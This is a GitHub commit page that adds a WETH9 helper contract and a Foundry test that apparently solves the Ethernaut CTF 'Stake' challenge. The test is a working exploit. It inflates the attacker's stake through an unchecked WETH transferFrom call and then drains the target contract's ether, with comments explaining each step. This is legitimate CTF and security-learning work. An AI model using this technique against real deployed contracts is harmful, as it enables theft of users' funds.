-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
4 changed files
with
187 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,66 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
contract WETH9 { | ||
string public name = 'Wrapped Ether'; | ||
string public symbol = 'WETH'; | ||
uint8 public decimals = 18; | ||
|
||
event Approval(address indexed src, address indexed guy, uint256 wad); | ||
event Transfer(address indexed src, address indexed dst, uint256 wad); | ||
event Deposit(address indexed dst, uint256 wad); | ||
event Withdrawal(address indexed src, uint256 wad); | ||
|
||
mapping(address => uint256) public balanceOf; | ||
mapping(address => mapping(address => uint256)) public allowance; | ||
|
||
receive() external payable { | ||
deposit(); | ||
} | ||
|
||
function deposit() public payable { | ||
balanceOf[msg.sender] += msg.value; | ||
emit Deposit(msg.sender, msg.value); | ||
} | ||
|
||
function withdraw(uint256 wad) public { | ||
require(balanceOf[msg.sender] >= wad, ''); | ||
balanceOf[msg.sender] -= wad; | ||
payable(msg.sender).transfer(wad); | ||
emit Withdrawal(msg.sender, wad); | ||
} | ||
|
||
function totalSupply() public view returns (uint256) { | ||
return address(this).balance; | ||
} | ||
|
||
function approve(address guy, uint256 wad) public returns (bool) { | ||
allowance[msg.sender][guy] = wad; | ||
emit Approval(msg.sender, guy, wad); | ||
return true; | ||
} | ||
|
||
function transfer(address dst, uint256 wad) public returns (bool) { | ||
return transferFrom(msg.sender, dst, wad); | ||
} | ||
|
||
function transferFrom( | ||
address src, | ||
address dst, | ||
uint256 wad | ||
) public returns (bool) { | ||
require(balanceOf[src] >= wad, ''); | ||
|
||
if (src != msg.sender && allowance[src][msg.sender] != type(uint256).max) { | ||
require(allowance[src][msg.sender] >= wad, ''); | ||
allowance[src][msg.sender] -= wad; | ||
} | ||
|
||
balanceOf[src] -= wad; | ||
balanceOf[dst] += wad; | ||
|
||
emit Transfer(src, dst, wad); | ||
|
||
return true; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,117 @@ | ||
// SPDX-License-Identifier: GPL-3.0 | ||
pragma solidity ^0.8.0; | ||
|
||
import '../../src/EthernautCTF/Stake.sol'; | ||
import '../../src/EthernautCTF/helpers/WETH9.sol'; | ||
import '@forge-std/Test.sol'; | ||
import '@forge-std/console2.sol'; | ||
|
||
contract StakeExploit is Test { | ||
Stake target; | ||
WETH9 weth9; | ||
address deployer = makeAddr('deployer'); | ||
address exploiter = makeAddr('exploiter'); | ||
|
||
function setUp() public { | ||
vm.deal(deployer, 100 ether); | ||
vm.deal(exploiter, 1 ether); | ||
|
||
vm.startPrank(deployer); | ||
weth9 = new WETH9(); | ||
target = new Stake{value: 50 ether}(address(weth9)); | ||
console2.log('Target contract deployed'); | ||
vm.stopPrank(); | ||
} | ||
|
||
function testExploit() public { | ||
// Check the exploiter balance. | ||
uint256 exploiterBalance = exploiter.balance; | ||
assertEq(exploiterBalance, 1 ether); | ||
console2.log('Exploiter balance: %d ether', exploiterBalance / 1 ether); | ||
|
||
// Check the target contract balance. | ||
uint256 targetBalance = address(target).balance; | ||
assertEq(targetBalance, 50 ether); | ||
console2.log('Target balance: %d ether', targetBalance / 1 ether); | ||
|
||
// Check the stakes. | ||
( | ||
uint256 deployerStake, | ||
uint256 exploiterStake, | ||
uint256 totalStake | ||
) = getStakes(); | ||
assertEq(deployerStake, 0 ether); | ||
assertEq(exploiterStake, 0 ether); | ||
assertEq(totalStake, 50 ether); | ||
|
||
console2.log('Performing the exploit'); | ||
// The Stake contract makes some calls to the WETH9 contract using the function selector. | ||
// We can use `cast 4byte` to get the function signatures instead: | ||
// $ cast 4byte 0xdd62ed3e | ||
// allowance(address,address) | ||
// $ cast 4byte 0x23b872dd | ||
// transferFrom(address,address,uint256) | ||
|
||
// Stake some ether. | ||
vm.startPrank(exploiter); | ||
target.StakeETH{value: 1 ether}(); | ||
assertEq(target.UserStake(exploiter), 1 ether); | ||
console2.log('Exploiter stacked one ether'); | ||
|
||
assertEq(target.Stakers(exploiter), true); | ||
console2.log('The exploiter is now a staker'); | ||
|
||
// Manipulate the WETH9 allowance. | ||
// We will grant the Stake contract a very big allowance from the exploiter address. | ||
// This way when calling StakeWETH, the contract will update our stake but it will fail when | ||
// trying to transfer the WETH tokens to the contract. We'll manage to inflate our stake out of | ||
// nothing! | ||
weth9.approve(address(target), 50 ether); | ||
target.StakeWETH(50 ether); | ||
console2.log('The exploiter inflated his stake by 50 ether'); | ||
|
||
// Check the stakes. | ||
(deployerStake, exploiterStake, totalStake) = getStakes(); | ||
assertEq(deployerStake, 0 ether); | ||
assertEq(exploiterStake, 1 ether + 50 ether); // inflated stake by 50 ether | ||
assertEq(totalStake, 50 ether + 1 ether + 50 ether); | ||
|
||
// Drain the contract. | ||
target.Unstake(51 ether); | ||
console2.log('The exploiter drains the contract'); | ||
vm.stopPrank(); | ||
|
||
// Check the exploiter balance. | ||
exploiterBalance = exploiter.balance; | ||
assertEq(exploiterBalance, 51 ether); | ||
console2.log('Exploiter balance: %d ether', exploiterBalance / 1 ether); | ||
|
||
// Check the target contract balance. | ||
targetBalance = address(target).balance; | ||
assertEq(targetBalance, 0 ether); | ||
console2.log('Target balance: %d ether', targetBalance / 1 ether); | ||
|
||
// Check the target contract stake. | ||
console2.log('The target contract now reports fake stakes'); | ||
(deployerStake, exploiterStake, totalStake) = getStakes(); | ||
assertEq(deployerStake, 0 ether); | ||
assertEq(exploiterStake, 0 ether); | ||
assertEq(totalStake, 50 ether); // fake money because the contract has been drained | ||
} | ||
|
||
function getStakes() public view returns (uint256, uint256, uint256) { | ||
console2.log('=== STAKES ==='); | ||
|
||
uint256 deployerStake = target.UserStake(deployer); | ||
console2.log('Deployer stake: %d ether', deployerStake / 1 ether); | ||
|
||
uint256 exploiterStake = target.UserStake(exploiter); | ||
console2.log('Exploiter stake: %d ether', exploiterStake / 1 ether); | ||
|
||
uint256 totalStake = target.totalStaked(); | ||
console2.log('Total stake: %d ether', totalStake / 1 ether); | ||
|
||
console2.log(); // break line | ||
return (deployerStake, exploiterStake, totalStake); | ||
} | ||
} |